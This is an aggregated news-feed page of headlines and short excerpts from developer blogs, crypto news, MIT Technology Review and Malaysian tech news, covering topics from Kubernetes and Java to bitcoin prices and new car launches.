    Governance refers to the framework of principles, policies, and processes that determine how your organization's cloud resources are administered, kept secure, and optimized. It is the structure necessary to ensure that the environment aligns with your business objectives, security requirements, and compliance obligations. Effective governance is not about stifling innovation. It is establishing guardrails to enable teams to move fast, yet in compliance with organizational standards. Consider it as setting the rules of the highway to ensure safe and efficient transportation, not building roadblocks. Governance without FinOps leads to control without clarity Governance in the cloud ensures control, security, compliance, and accountability. FinOps ensures financial visibility, cost ownership, and optimization. In cloud environments, the cost is not only a finance issue, but it's a governance issue. Governance without FinOps is incomplete. What Happens Without FinOps Teams over spend with no accountability Budgets blow up unexpectedly Business units bypass policies for faster delivery Finance cannot track or justify cloud spending Leadership loses visibility into ROI How FinOps Strengthens Cloud Governance Compulsory tagging policies for allocation This will cost guardrails e.g.) budget alerts, quota limits. Chargeback / showback for accountability Rightsizing and waste cleanup frameworks Data-driven spending decisions Cloud governance sets the rules. Cloud governance sets the rules — FinOps ensures those rules deliver business value  ( 8 min )
    🧠 What Is the Control Plane in Kubernetes?
    The Control Plane is the “Brain” of Kubernetes. It makes all the decisions in the cluster: What should run? Where should it run? What to do if something breaks? How many replicas should exist? Which node should get which pod? The Control Plane is responsible for managing the entire cluster, while Worker Nodes simply follow its instructions. Why Was the Control Plane Created? Without a central “brain,” you would have chaos: No one decides which node runs which pod No one restarts pods when they crash No one performs scaling No one stores the desired state No communication between nodes Kubernetes needed a central orchestrator. → That is the Control Plane. Control Plane = 5 Main Components 📌 1. API Server (kube-apiserver) etcd Scheduler (kube-scheduler) Controller Manager (kube-co…  ( 7 min )
    Mastering Azure Availability Sets: Fault Domains, Update Domains, and Best Practices
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    6 Essential Tools to Supercharge Your Workflow & Creativity
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    Micro Frontend: Common Misconceptions with Case Studies
    Original Korean article Cloud Native and microservices have gained significant attention, leading to the emergence of similar architectural patterns in the frontend space. Micro Frontend (MFE) is at the forefront of this movement, and we're increasingly seeing attempts to adopt this architecture. What exactly is MFE, and in which situations is it suitable? A micro frontend is an architectural pattern for web development, where independently developed frontends are composed into a greater whole. - wikipedia MFE is a frontend architecture that enables independently developed applications to be accessed through a single domain. This structure allows frontend teams responsible for each service to establish autonomous development environments, enabling development without going through complex …  ( 12 min )
    Java 8 -Streams API Few Questions
    1. Given a list of strings, print them in uppercase in alphabetical order. 2. Given a list of strings, print them in uppercase by the length of each element. 3. Given a list of strings, remove null or empty strings from the list. 4. Given a list of nums, square each number in the list. 5. Given a list of nums, find the largest number in the list. Explanation: Use max with natural ordering. Solution (Java): Optional max = nums.stream().max(Integer::compareTo); int largest = max.orElseThrow(() -> new NoSuchElementException("List empty"));  ( 6 min )
    Python by Structure: How Decorators Transform Classes
    Timothy stared at a configuration system he'd been reading. "Margaret, I understand decorators on functions now, but this codebase has decorators on entire classes. How does that even work?" Margaret walked over. "Class decorators are powerful - they can add attributes, modify methods, or register the class in a system. What are you looking at?" Timothy pointed at his screen. "This registration system. Every class has a decorator that seems to modify it and register it automatically. But I don't understand how a decorator can transform a whole class." Margaret pulled up a simplified example. "Before class decorators, you'd have to manually register each class after defining it." class DataValidator: def validate(self, data): return len(data) > 0 class EmailValidator: def v…  ( 9 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    TL;DR CinemaSins just dropped their “Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less,” poking fun at Tom Cruise’s latest death-defying stunts while confessing the franchise has maybe lost a bit of its mojo. Expect the classic snark, rapid-fire sins, and a fond-but-critical take on how the series wrapped up. They also plug their main site (cinemasins.com), YouTube spin-offs (TVSins, Commercial Sins, CinemaSins Podcast Network), a sinful poll, Patreon support, and social hangouts—Discord, Reddit, TikTok, Instagram—and even showcase their writer squad’s Twitter and Instagram handles for those who love behind-the-scenes nerd chatter. Watch on YouTube  ( 6 min )
    Collection Interface - List
    ** ** *List: * Key Features: ArrayList: ✅ Key Features: ✅ When to Use: ✅ Important Points to Remember: ✅ One-Line Summary: ArrayList = Fast access + Dynamic Array + Allows duplicates & nulls + Not thread-safe  ( 6 min )
    My First LLM Evaluation Pipeline
    The Context: Why I Started This Journey After 7+ years as a Software Testing Lead, I've spent countless hours ensuring code quality, writing test cases, and building robust testing frameworks. But as AI systems started becoming ubiquitous in production environments, I found myself asking: "How do we test AI models with the same rigor we test traditional software?" I approached this learning exercise by building two versions of LLM evaluation pipelines, each teaching me different aspects of the evaluation process. Dataset: 50 physics questions in .jsonl format LLM Outputs: 50 hardcoded responses (simulating pre-generated outputs) Evaluation Model: Azure OpenAI Metric Used: Answer Relevancy Results: 28/50 passed (56% pass rate) ⚠️ Dataset: 5 Olympics trivia questions LLM: DeepSeek-R1 8B (r…  ( 10 min )
    Understanding the Imperative to Import Data
    In the contemporary digital ecosystem, data is the lifeblood of strategic decision-making. The fundamental act to import data is the initial, critical step in transforming raw, often disparate information into a cohesive and actionable asset. Whether it's sales figures from a CSV file, customer feedback from an online survey, or real-time sensor readings from IoT devices, the ability to seamlessly import data into a centralized system like a database, data warehouse, or analytics platform is what unlocks its potential. This process moves data from its source into a target environment where it can be cleaned, analyzed, and visualized. For businesses, this is not merely a technical task but a core operational necessity. It enables organizations to move beyond gut feelings and operate on evid…  ( 9 min )
    Why Banana is the "Visual Reasoning" Engine You Need in 2025
    If you’ve glanced at the Dev.to leaderboard this week, you couldn't miss the name dominating the charts: Nano Banana Pro. Just yesterday, tutorials for this model swept through the community. Everyone isn't just talking about "another image generator"; they are talking about a paradigm shift: From "Random Generation" to "Reasoned Creation." In late 2025, the bar has been raised. Developers and creators are done with "gacha-style" prompting where you roll the dice and hope for the best. We need precision, perfect text rendering, and a visual engine that actually understands logic. This is exactly what Textideo and its integrated Nano Banana Pro model are solving. According to deep-dive reviews on Dev.to and official metrics from Textideo, Nano Banana Pro is a phenomenon because it fixes t…  ( 7 min )
    Collection framework
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    The Developer Extinction Line: Why 2026 Will Delete Half the Industry Without Warning
    The fear isn’t abstract. It’s statistical. The market is oversupplied with engineers whose output is indistinguishable from an autocomplete model. The 2025 economy measures developers by throughput per dollar, and most can’t survive that math. The collapse is already visible: The fear comes from watching career moats evaporate: • Tool familiarity is worthless when interfaces abstract the tool. The panic spikes when developers realize the new selection pressure: 2025 forces a binary outcome: The Developer Extinction Line: Why 2025 Will Delete Half the Industry Without Warning Post: The collapse is already visible: The fear comes from watching career moats evaporate: • Tool familiarity is worthless when interfaces abstract the tool. The panic spikes when developers realize the new selection pressure: Either your output creates more output, or your role shrinks until it disappears.  ( 7 min )
    # Impostor Syndrome in Tech: Why You Might Feel Like a Fraud — and How to Move Forward
    In a recent job working with Java and Spring Boot, I found myself second-guessing many of my decisions. Sometimes I would say, “I’m following the project’s patterns.” Other times I realized I didn’t fully master some libraries, specific approaches, or certain uses of annotations. My tech lead had far more experience with that stack than I had. Inevitably, I compared my knowledge level to his. Still, there were several moments when I proposed improvements and delivered solutions that made development and maintenance easier. I worked at that company for almost two years and made several meaningful contributions to the same project. I helped introduce coding patterns that improved the development experience, and I also worked as a full-stack developer on multiple initiatives, including one of the most relevant projects: a chatbot where a colleague and I developed the frontend together. During my time there, I worked on backend systems using Java, TypeScript, Stencil, and other related technologies. I also helped plan and establish a migration process for legacy Java projects, updating framework versions and addressing security issues in outdated dependencies. Even so, a nagging feeling crept in: “Am I way below what they expected? Am I really that bad?” That inner voice was the classic Impostor Syndrome. It had been more than four years since I last worked with Java and Spring Boot. During that time I adapted to the technologies each company used. That constant adaptation has a price: you drift away from certain stacks and lose depth in them. Here’s the lesson I took from that experience — simple yet powerful: Relearning and refreshing your skills is essential. Even if you already have experience, continuous learning is what keeps you confident and relevant. Impostor Syndrome may show up, but it can also be a sign of humility and awareness that there is always room for growth. In the end, what matters most is this: keep learning, keep contributing, and allow yourself to evolve.  ( 7 min )
    We're living in a strange moment in tech history. Just a few years ago, adding “AI-powered” to your product was a competitive advantage. Today, it’s the bare minimum.
    When Every App Uses AI, What Makes Yours Different? Jaideep Parashar ・ Nov 27 #ai #learngoogleaistudio #api #powerapps  ( 7 min )
    When Every App Uses AI, What Makes Yours Different?
    We’re living in a strange moment in tech history. Just a few years ago, adding “AI-powered” to your product was a competitive advantage. Every app uses AI: note-taking apps writing tools coding assistants task managers CRM platforms design tools search apps customer support bots Everyone has the same models, the same APIs, the same features, and the same demos. So the real question becomes: When every app uses AI… what actually makes yours different? This is the part most founders and developers get wrong because the answer has nothing to do with models, and everything to do with judgment, workflow, and experience. Let’s break it down. 1. AI Is No Longer a Feature: It’s Infrastructure Five years ago, “AI” was a differentiator. Just like: electricity cloud computing storage databases APIs A…  ( 11 min )
    The Architectures of Agency
    1. The Disintegration of the God Model The history of enterprise computing is effectively a history of the pendulum swing between centralization and disintegration. To understand the current architectural pivot toward the Model Context Protocol (MCP), Agent-to-Agent (A2A) frameworks, and Agent Communication Protocols (ACP), one must first situate these technologies within the broader timeline of integration. We are witnessing the end of the "God Model" era in Generative AI—a brief period where the industry hallucinated that a single, monolithic set of parameters could serve as the universal operating system for all human knowledge and execution—and the beginning of the "Agentic Mesh." This transition mirrors the shift from the mainframe to the client-server model, and later, from the mon…  ( 12 min )
    Kanpeki: Accessible React Components Built on React Aria
    Kanpeki: A React component library where you own the source code instead of installing packages. Built on React Aria Components for WCAG compliance, styled with Tailwind CSS. Copy components into your project and modify them as needed. Key features: 🎯 Copy-paste architecture removes dependency management ♿ React Aria handles accessibility primitives automatically 🎨 Tailwind CSS styling with full customization control ⚡ Motion support through tailwindcss-motion 📦 35+ production-ready components 🔧 CVA beta for type-safe variant management The library works with Next.js, Remix, and standard React setups. Installation takes a few CLI commands, then you control everything. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    Build Golden Connections: How to Turn Professional Encounters into Career Assets
    If there’s one thing I’ve learned during my career it’s this: friendships at work are far more valuable than mere professional contacts. They can open doors you never imagined — even if you are living in a different country, adapting to new environments or building your career from scratch somewhere else. At different stages in my journey these connections changed my path. In college, a classmate who ran a company invited me to work with him. Years later, a professor who recognized my technical skills recommended me for a role at a very well-known company in Brazil. Later still, at a company where I built deep friendships, I experienced one of the periods when I learned the most in my career. We had an extremely technical team, and together, we built incredible things. I still keep in touc…  ( 8 min )
    Create and Sell Custom WordPress Themes: A Dev’s Guide to Earning Big
    Are you a developer looking to turn your WordPress skills into a reliable stream of income? You’re not alone. With millions of websites running on WordPress, the demand for custom themes and plugins has never been higher. Whether you’re an experienced developer or just starting out, building and selling your own WordPress themes can open the door to serious financial rewards. This guide is packed with step-by-step advice on how you can create your own WordPress themes and sell them on popular marketplaces like ThemeForest. Let’s dive into how you can turn your coding knowledge into cash! Before we jump into the how, let’s talk about the why. WordPress powers over 40% of all websites on the internet, and the platform’s flexibility makes it a go-to for individuals and businesses looking to c…  ( 9 min )
    AI-Generated Code: Is It Good or Bad?
    Developers should stop wasting time debating whether AI-generated code is “good” or “bad” and start focusing on how to use it intelligently and responsibly. AI does not replace technical knowledge or engineering experience. What it does is act as a high-leverage tool that expands your ability to deliver, explore, validate and learn. When used with proper supervision, AI becomes a powerful ally rather than a threat. AI can accelerate your work in multiple ways. It can help you understand unfamiliar code patterns, explore different implementation strategies, and create examples that serve as a starting point for your own solution. Imagine you need to maintain a legacy Angular application and have no idea how to write a unit test for a specific scenario. You can ask AI for an example in a sim…  ( 7 min )
    He Stood Between Me and the Stones: A Deep Walk Through John 8
    There are chapters in Scripture that sit quietly on the page until your life finally reaches the moment where you can hear them. Chapters that wait for your wounds to be open enough, your heart to be honest enough, and your spirit to be tired enough that the words stop sounding like history and start sounding like rescue. That is the power of John 8, the chapter where Jesus doesn’t just teach truth — He embodies it. This is a chapter that exposes every part of the human condition: shame, pride, self-righteousness, sin, truth, hypocrisy, fear, compassion, and the relentless mercy of God. And when read with an open heart, this chapter will do for you exactly what Jesus did for the woman caught in adultery: This article is written the way a legacy article should be — slow, deep, personal, spi…  ( 12 min )
    Nocyclopedia
    Check out this Pen I made!  ( 5 min )
    API Request Limiter Challenge
    Time to complete: 30-60 minutes Difficulty: Intermediate Skills tested: Application Security, Algorithm Design, Edge Case Handling In April 2020, security researcher Tom Anthony discovered he could crack into any password-protected Zoom meeting in under 3 minutes. The flaw? No rate limiting on password attempts combined with Zoom's default 6-digit numeric passwords meant attackers could brute-force all 1 million possible combinations within minutes using basic Python code and a handful of cloud servers. Zoom immediately took down their web client on April 2nd to fix the vulnerability, but the damage was done—during peak pandemic lockdown, when millions relied on Zoom for private business meetings, therapy sessions, and confidential legal consultations. Want to make sure your rate limiter…  ( 12 min )
    Unlocking Data Narratives: Visualizing Information Flow with Concept Graphs
    Unlocking Data Narratives: Visualizing Information Flow with Concept Graphs Drowning in data but struggling to see the big picture? Do you find it challenging to translate complex data streams into actionable insights? Imagine being able to visualize the underlying logic of your data, revealing hidden patterns and enabling you to build intuitive conceptual models. Concept graphs offer a powerful solution. They are essentially visual blueprints of data processes, representing how data flows and transforms through a system. These graphs are structured as directed networks where nodes represent data states or processes, and edges indicate the flow of information between them. Think of it like a street map for your data – each intersection represents a key transformation, and the roads illus…  ( 7 min )
    Supercharge Your TCJSGame: Introducing Sonic.js Performance Extension
    Supercharge Your TCJSGame: Introducing Sonic.js Performance Extension If you've been using TCJSGame for your 2D web games, you've probably noticed that performance can become an issue as your games grow more complex. That's where Sonic.js comes in - a powerful performance extension that can dramatically improve your game's frame rates and smoothness. Sonic.js is a performance optimization extension for TCJSGame that introduces advanced rendering techniques to boost your game's performance. It works by creating an intelligent dual-canvas system that minimizes expensive draw calls and optimizes rendering pipelines. The core innovation of Sonic.js is its dual-canvas approach: // Main display canvas (what players see) const display = new Display(); // Offscreen buffer canvas (for optimized…  ( 9 min )
    Configure Azure Container Registry for a secure connection with Azure Container Apps
    Configuring Azure Container Registry (ACR) for a secure connection with Azure Container Apps is a crucial step in ensuring that your containerized applications are deployed safely and efficiently. This process involves setting up permissions and authentication so Azure Container Apps can securely pull container images from ACR without exposing credentials. By integrating ACR with managed identities or workload identities, teams can streamline deployments, improve security, and maintain a clean, automated DevOps workflow. Configure a user-assigned managed identity Open your Azure portal. On the portal menu, select + Create a resource. On the Create a resource page, in the Search services and marketplace text box, enter managed identity In the filtered list of resources, select User As…  ( 8 min )
    Confluent Cloud
    Confluent is the name of a company that provides commercial support for Kafka. When enterprises use open source software, they often look for product support on the basis of payment. For example if the software has bugs or security issues, enterprises need tech support in a time bound manner. Confluent is one of the companies that provide such support. Kafka is a stream processing framework. There are many of them out there, both proprietary and open-source. Kafka is popular because it’s open-source, highly performant and flexible. I’m not going to go into lengthy comparisons with other frameworks. Instead, I’ll try to explain why you should use stream processing in the first place. Why stream processing? If you’re building a system that handles large volumes of data, which is increasingly…  ( 7 min )
    Converting Windows Text to Linux Format
    Line ending inconsistencies between Windows and Linux systems cause formatting issues, Git warnings, and script failures. Operating systems use different conventions to mark the end of a line in text files, creating compatibility challenges in cross-platform development: Windows: Carriage Return + Line Feed (\r\n or CRLF, hex 0D 0A) Linux/Unix: Line Feed only (\n or LF, hex 0A) Classic Mac OS: Carriage Return only (\r or CR, hex 0D) This historical difference stems from typewriter mechanics. Windows inherited the CRLF convention from DOS, which maintained compatibility with teletype machines that required both a carriage return (move to line start) and line feed (advance paper). Bash scripts with Windows line endings fail with cryptic errors: bash: ./script.sh: /bin/bash^M: bad interpreter…  ( 13 min )
    The AI Revolution Is a Lie: 5 Surprising Truths About Why Your Company's Strategy Is Failing
    TL;DR: AI-First vs. Digitally-Enhanced 5 Key Messages 88% use AI. 39% see impact. Most are "Digitally-Enhanced" (10-15% gains). AI-First delivers 34x revenue per employee via complete process redesign, not tool adoption. Mindset is the bottleneck. Shift from certainty → curiosity, mastery → learning, competition → collaboration. Organizational debt (silos, risk-aversion) must be paid down alongside technical debt. High performers optimize tempo, not cost. Elite 6% complete Scan-Orient-Decide-Act in 2 weeks vs. 8. Velocity compounds. Decision speed = competitive moat. Pilot purgatory is real. Two-thirds haven't scaled. "String of pearls" without North Star = no enterprise impact. Escape: one narrow E2E process, build trust, expand systematically. Jobs evolve, don't disappear. …  ( 15 min )
    Understanding Amazon CloudFront's New Flat-Rate Pricing
    On November 18th, AWS introduced new flat‑rate pricing plans for Amazon CloudFront designed to make content delivery and security costs more predictable for teams of all sizes. These plans sit alongside the existing pay‑as‑you‑go model and bundle multiple services into a single monthly price per distribution. Traditionally, CloudFront has used pay‑as‑you‑go pricing, which is great for starting at $0, scaling with actual usage, and only paying for what you consume. The tradeoff is that estimating costs can be difficult, especially when you also depend on AWS WAF, DDoS protection, Route 53, CloudWatch Logs, and S3 for a single application. You end up stitching together multiple pricing pages and trying to map them to your traffic patterns just to get a reasonable forecast of your monthly bil…  ( 8 min )
    Is JSON Outdated? The Reasons Why the New LLM-Era Format "TOON" Saves Tokens
    JSON, You Talk Too Much: Exploring TOON for Token-Efficient LLM Communication Introduction JSON, buddy, you might be a bit too chatty. As developers, JSON (JavaScript Object Notation) is like the air we breathe. It's everywhere—API responses, config files, logs, you name it. I've trusted JSON as my reliable companion for years. But ever since I started working with LLMs (Large Language Models), something's been bugging me: "Wait... are you talking way too much?" [ {"id": 1, "name": "user_a", "role": "admin"}, {"id": 2, "name": "user_b", "role": "member"}, {"id": 3, "name": "user_c", "role": "member"} ] JSON is thorough. Very thorough. A good friend, really (or maybe not a "friend" at all, but you get the idea). But that diligence—repeating "id":, "name":, "role": every …  ( 13 min )
    Semantic Object Factory: The Missing Layer That Aligns AI Intent With Backend Semantics
    Author: (bnggbn) Context: Building on IRP In my previous articles, I established two foundational concepts: IRP (Inverse Responsibility Principle): The backend defines semantics; the frontend must normalize them. Semantic Boundary: The frontend becomes the semantic firewall, not just a UI renderer. Today, I address the critical engineering question: How does the frontend actually achieve this normalization? Where do "semantics" come from, and how do clients transform messy AI and human intent into backend-consumable meaning? Enter the most important missing layer in modern system design: ⭐ Semantic Object Factory (SO Factory) This article introduces the concept—not tied to any specific language, framework, or schema tool—and explains why AI-native systems cannot function without it. AI d…  ( 9 min )
    Building Resilient Cloud Infrastructure with Terraform and Azure
    I recently completed a project where I built both resilient and non-resilient cloud resources using Terraform to test a cloud resilience monitoring tool that's still under construction. The objective was to calculate the Recovery Time Objective (RTO) and Recovery Point Objective (RPO) for individual cloud resources, with the proof of concept being done on Azure. As an AWS-native DevOps engineer, I had to get familiar with Azure fast. I took a 10-hour Udemy course and dove straight into provisioning infrastructure-as-code. It was my responsibility to set up all the resources, and that meant learning a completely new cloud platform while implementing disaster recovery solutions that actually work. The main differentiators between resilient and non-resilient resources came down to two things:…  ( 10 min )
    How I Started Learning Java & Spring Boot (As a Beginner Developer)
    Hi DEV Community! 👋 This is my first post here, so I wanted to share a bit about my learning journey as a developer. How I Started I started learning Java because I wanted to build real applications and understand backend development properly. My first steps were simple: Learning core Java concepts Understanding OOP Practicing small programs Trying to fix errors without giving up After gaining some confidence, I moved to Spring Boot, and that completely changed the game for me. Why Spring Boot? Because it makes backend development clean, fast, and professional: Easy API creation Built-in security options Great documentation Used by most companies I first built small APIs like: User registration Login system Simple CRUD JWT authentication These small wins helped me stay motivated. What I’m Learning Now Right now I’m learning: Spring Security JWT Authentication Multi-tenant architecture React & Next.js for frontend Building full-stack projects My goal is to become really strong in backend (Java + Spring Boot) and build complete systems end-to-end. Why I Joined DEV I want to: Share my learning journey Write simple explanations for other beginners Connect with developers who love backend and frontend technologies Start contributing to open-source projects  ( 6 min )
    Introduction
    Welcome. I am a 13 year old litrature freak and tech enthusiast. While I have been experementing with robotics and basic programming since I was 9, I have decided to properly learn Python. I will be posting weekly reports on what I learnt that week as well as if I did/am doing any significant projects. This is mostly so that I can hold myself accountable but feel free to use my reports to plan out your own python study if you are a beginner like me. I also have an abnormal intrest in the word 'Quantum'. While I do love Shakespere and old Gothic litrature, I also love the consept of the multiverse, time bending and how Quantum Computing can be related to it all. So, I will be trying to learn about topics surrounding the word and reiterate whatever I understood here. Aside from that, I also love ethical hacking and have previously taken part in a few basic hackathons. I wish to deepen my sills and understanding in this area after I have finished learning a good level of python. Have a great day.  ( 6 min )
  • Open

    Balancer DAO Starts Discussing $8M Recovery Plan After $110M Exploit Cut TVL by Two-Thirds
    The recovered tokens, spanning multiple networks and assets, will be paid out in the same tokens as originally provided, with a claim mechanism being developed.
    Toncoin Lags Broader Crypto Rebound as Derivatives Data Shows Cautious Optimism
    Altcoin funding rates, including for TON, have turned positive, indicating renewed confidence among traders, but overall market participation remains muted.
    Trump Family-Linked Alt5 Sigma Ousts Top Execs After CEO Suspension Shakes Up Leadership
    The company is on its third CEO in six weeks, with Tony Isaac appointed as Acting CEO, and has named Steven Plumb as its new CFO.
    Avalanche ETF Race Heats Up as Bitwise Becomes First to Add Staking
    Bitwise moves its Avalanche ETF closer to market with updated SEC filing and becomes first issuer to include staking.
    Hash Ribbon Flashes Signal That Often Marks Cyclical Bottoms for Bitcoin Price
    A historically reliable bottom signal appears after bitcoin’s 35% correction.
    Crypto for Advisors: Crypto’s Role in Portfolios
    Crypto's role in diversified portfolios: managing volatility, setting clear mandates, risk discipline, and the case for active investing and broader diversification.
    UK Proposes ‘No Gain, No Loss’ Tax Rule for DeFi in 'Major Win' for Users
    The proposal, with input from major industry players, aims to bring tax rules in line with how DeFi works, reducing outcomes that don't reflect reality.
    Justin Sun Doubles Down on First Digital Trust Fraud Allegations, Urges H.K. Regulators to Act
    Sun accused FDT of exploiting gaps in Hong Kong’s trust company regime and urged regulators to act after a Dubai court froze assets linked to the alleged misappropriation.
    Bitcoin Whales Return to Buying for the First Time Since August as Price Recovers Above $90K
    Large holders return to buying after months of distribution, signalling renewed confidence at key support levels.
    BNB Holds Below $900 Level as Onchain Activity Slumps, Network Updrages Loom
    Price action remains stable, consolidating below $900, amid tension between weak fundamentals and upcoming upgrades.
    Australia’s New Digital Assets Bill Seeks to Prevent Past Crypto Failures
    The Australian government introduced digital assets legislation to modernize its financial system and safeguard consumers.
    Crypto Markets Today: Bitcoin Leads Broad Recovery as Traders Eye Possible Santa Rally
    Bitcoin and ether surged following Wednesday's tech-led equities rebound, while derivatives flows signal growing optimism for a year-end push.
    Ark Invest Buys $16.5M of Coinbase Stock, Largest Purchase Since Aug. 1
    COIN closed at $264.97, 4.27% higher on the day, accompanying a relative recovery in the crypto market, which saw bitcoin gain over 3.3% to reclaim $90,000.
    Ripple’s RLUSD Stablecoin Wins Key Regulatory Green Light in UAE
    The designation means licensed firms can use the dollar-pegged token for regulated activities, placing it into a small group of tokens permitted by the ADGM’s ring-fenced financial system.
    Philippine Digital Asset Exchange Eyes $60B Tokenization Opportunity With Project Bayani
    The Philippines has a $60 billion opportunity in asset tokenization, potentially transforming its capital markets by 2030.
    Bitcoin Rebounds Past $91K as XRP ETFs Continue to Grab Attention
    Total XRP ETF assets crossed $628 million, absorbing nearly 80 million tokens in 24 hours, making for a stronger initial response than Solana’s ETF debut earlier this year.
    DOGE Builds Bullish Structure With Higher Lows as ETFs Fail to Wow
    Technical analysis shows DOGE breaking above resistance with a significant volume surge, indicating bullish momentum.
    XRP Prints V-Shaped Recovery as ETF Catalysts Align With Technicals
    Technical indicators suggest strong momentum, with XRP trading in an ascending broadening wedge and targeting further gains if it remains above key support levels.
    Korea's Upbit Suspends Deposit And Withdrawal Service After Abnormal Activity in Solana Tokens
    Upbit has suspended digital asset withdrawals after detecting irregular activity involving Solana network tokens.
    Bitcoin's Ascent May Hit a Wall Around Mid-$90K: Trading Firm
    Bitcoin has surged past the $90,000 mark, buoyed by rising expectations of a December Federal Reserve rate cut.
    Asia Morning Briefing: Bitcoin's Fragile Rally is Built on Shrinking Liquidity
    Large holder deposits have hit exchanges and realized losses are climbing, according to CryptoQuant and Glassnode, indicating the market’s rally is being built on thin liquidity.
  • Open

    The Download: the fossil fuel elephant in the room, and better tests for endometriosis
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. This year’s UN climate talks avoided fossil fuels, again Over the past few weeks in Belem, Brazil, attendees of this year’s UN climate talks dealt with oppressive heat and flooding, and at one…  ( 21 min )
    This year’s UN climate talks avoided fossil fuels, again
    If we didn’t have pictures and videos, I almost wouldn’t believe the imagery that came out of this year’s UN climate talks. Over the past few weeks in Belem, Brazil, attendees dealt with oppressive heat and flooding, and at one point a literal fire broke out, delaying negotiations. The symbolism was almost too much to…  ( 21 min )
    Moving toward LessOps with VMware-to-cloud migrations
    Today’s IT leaders face competing mandates to do more (“make us an ‘AI-first’ enterprise—yesterday”) with less (“no new hires for at least the next six months”). VMware has become a focal point of these dueling directives. It remains central to enterprise IT, with 80% of organizations using VMware infrastructure products. But shifting licensing models are…  ( 17 min )
  • Open

    Malaysia’s Next-Gen MyKad To Come With QR Code Feature
    Malaysia will begin issuing new identity cards (ICs) starting June 2026, marking the next major refresh of the MyKad system. The upcoming version introduces enhanced security measures, including a dedicated QR code designed to help authorities digitally verify card authenticity on the spot. Deputy Home Minister Datuk Seri Shamsul Anuar Nasarah announced the upgrade during […] The post Malaysia’s Next-Gen MyKad To Come With QR Code Feature appeared first on Lowyat.NET.  ( 34 min )
    Lexus Malaysia Teases 2024 Model Of GX SUV
    Lexus Malaysia recently released a teaser on its social media channels, hinting at the impending arrival of the 2024 GX on our shores. First unveiled globally in June 2023, the third-generation GX sits between the LX and RX in the brand’s SUV hierarchy and is built on the GA-F body-on-frame platform shared with the larger […] The post Lexus Malaysia Teases 2024 Model Of GX SUV appeared first on Lowyat.NET.  ( 34 min )
    GXBank Celebrates Second Anniversary With 4.00% p.a. Bonus Pocket Promo
    GXBank is kicking off its second anniversary with a new campaign that offers customers the chance to earn up to 4.00% p.a. through its Bonus Pocket feature. The promotion, which begins today, applies to savings of up to RM50,000 placed in a Bonus Pocket and rewards users with both daily base interest and an additional […] The post GXBank Celebrates Second Anniversary With 4.00% p.a. Bonus Pocket Promo appeared first on Lowyat.NET.  ( 34 min )
    Aurzen ZIP Tri-Fold Projector Will Be Available In Malaysia For RM1,899
    Aurzen, the UK-based projector brand, is officially bringing its ZIP portable projector to Malaysia. The product, which made its debut during CES 2025 earlier this year, is the world’s first tri-fold pocket projector, at least according to the brand. Through the use of a tri-fold design, the Aurzen ZIP measures in at 8.4 x 7.8 […] The post Aurzen ZIP Tri-Fold Projector Will Be Available In Malaysia For RM1,899 appeared first on Lowyat.NET.  ( 34 min )
    2026 Proton Saga Has Officially Arrived; Starts From RM38,990
    The national automaker, Proton, has officially launched the new 2026 Saga with a starting price of RM38,990. As reported earlier, the sedan is offered in three variants: Standard, Executive and Premium. Design-wise, the front end features LED projector headlamps paired with L-shaped daytime running lights (DRLs). These flank a full-width concave grille embellished with a […] The post 2026 Proton Saga Has Officially Arrived; Starts From RM38,990 appeared first on Lowyat.NET.  ( 38 min )
    HONOR Magic8 Pro Hands On: A Bit Of An Acquired Taste
    The HONOR Magic8 Pro serves as the brand’s newest flagship phone, succeeding the Magic7 Pro launched back in January. Ahead of its local debut, the company has given us the opportunity to get acquainted with the device. The model in my hands is the Sunrise Gold version, although the smartphone also comes in Sky Cyan […] The post HONOR Magic8 Pro Hands On: A Bit Of An Acquired Taste appeared first on Lowyat.NET.  ( 41 min )
    Honor Magic8 Pro Officially Launches In Malaysia; Retails From RM4,599
    As previously reported, Honor is officially launching the Magic8 Pro today. In addition to the launch, the brand is also bundling an Insta360 Ace Pro action camera with every purchase of the phone, while stocks last. Running through the specs, the Magic8 Pro features a 6.71-inch LTPO OLED display, with a peak brightness of 6,000 […] The post Honor Magic8 Pro Officially Launches In Malaysia; Retails From RM4,599 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Officially Brings 115-Inch QN90F Neo QLED TV To Malaysia
    Samsung Malaysia officially unveiled the QN90F today, marking the official arrival of the massive TV to our shores. And by massive, it measures in at 115-inches across the wall. Now, the QN90F does ship out with an 8K panel, but the model that was on display was only 4K. To that end, this model is […] The post Samsung Officially Brings 115-Inch QN90F Neo QLED TV To Malaysia appeared first on Lowyat.NET.  ( 34 min )
    China Reportedly Bans ByteDance From Using NVIDIA Chips
    Chinese regulators have barred ByteDance from using NVIDIA chips in new data centres, according to a report by The Information. This ban highlights the nation’s push to move away from relying on US technology. Such efforts have intensified following the US government’s move to tighten restrictions on exports to China. Compared to other Chinese companies, […] The post China Reportedly Bans ByteDance From Using NVIDIA Chips appeared first on Lowyat.NET.  ( 33 min )
    iCAUR V23 Officially Launches In Malaysia; Starts From RM119,800
    iCAUR Malaysia has officially introduced its second model, the V23, to the local market. First previewed in October, the fully electric off-road SUV will be available in two variants: a rear-wheel-drive (2WD) and an intelligent all-wheel-drive (iWD). Design-wise, the V23 features a bold, upright stance and a boxy profile. The front end is defined by […] The post iCAUR V23 Officially Launches In Malaysia; Starts From RM119,800 appeared first on Lowyat.NET.  ( 38 min )
    WhatsApp To Ban Third-Party AI Chatbots From January 2026
    WhatsApp has confirmed a major policy shift that will block the use of any non-Meta AI chatbot inside the messaging app starting 15 January 2026. The updated terms of service explicitly prohibit third-party AI assistants, meaning users will no longer be able to access ChatGPT, Microsoft Copilot or similar services through WhatsApp once the cutoff […] The post WhatsApp To Ban Third-Party AI Chatbots From January 2026 appeared first on Lowyat.NET.  ( 34 min )
    Sarawak To Become Regional Animation And Gaming Hub With New Festival
